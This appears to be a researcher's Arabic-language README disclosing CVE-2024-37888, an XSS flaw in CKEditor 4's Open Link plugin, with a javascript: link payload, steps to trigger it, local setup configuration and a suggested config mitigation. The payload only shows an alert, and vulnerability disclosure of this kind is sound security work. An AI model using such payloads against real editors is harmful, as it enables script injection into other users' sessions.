
XSS PoC/استغلال لملحق Open Link في CKEditor 4
يحتوي هذا المستودع على تفاصيل الثغرة واستغلالها لـ CVE-2024-37888 التي تم اكتشافها والإبلاغ عنها من قبلي.
يوضح هذا الإثبات العملي (POC) استغلال ثغرة XSS التي اكتشفتها مؤخرًا في إضافة Open Link والتي عند تمكينها، تؤثر مباشرة على جميع إصدارات CKEditor 4. يسمح العيب بتنفيذ نصوص JavaScript من خلال روابط مصممة داخل المحرر، والتي تفشل الإضافة في تعقيمها. يمكن استغلال هذا العيب داخل منطقة النص فقط عند تثبيت إضافة Open Link. تتيح لنا إضافة Open Link فتح الروابط مباشرة داخل منطقة التحرير.
يمكن اختبار هذه الثغرة من خلال مثيل CKEditor المهيأ مسبقًا الموجود هنا.
إدخال الحمولة:
افتح مثيل CKEditor وانقر على أيقونة "Source".
أدخل الحمولة التالية في منطقة النص:
<a href="javascript:alert('XSS Found')">XSS</a>

التبديل إلى وضع WYSIWYG:

تشغيل XSS:

يمكنك إعداد مثيل محلي خاص بك لاختبار هذه الثغرة باتباع الخطوات التالية.
تنزيل CKEditor 4:

تثبيت إضافة Open Link:
ckeditor/plugins/openlink.
تحديث التكوين لتضمين إضافة OpenLink:
config.js الخاص بـ CKEditor بإلحاق الأسطر التالية في النهاية:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
تم اكتشاف هذه الثغرة في قاعدة كود إضافة Open Link وليس في قاعدة كود CKEditor 4. يوضح الإثبات العملي أعلاه استغلال ثغرة XSS عبر إضافة Open Link في CKEditor 4.*.*. يسمح العيب بتنفيذ نصوص JavaScript عشوائية من خلال روابط مصممة خصيصًا، مما يشكل خطرًا أمنيًا كبيرًا.
config.disallowedContent = 'a[onclick]';
تضمين CKEditor في HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>
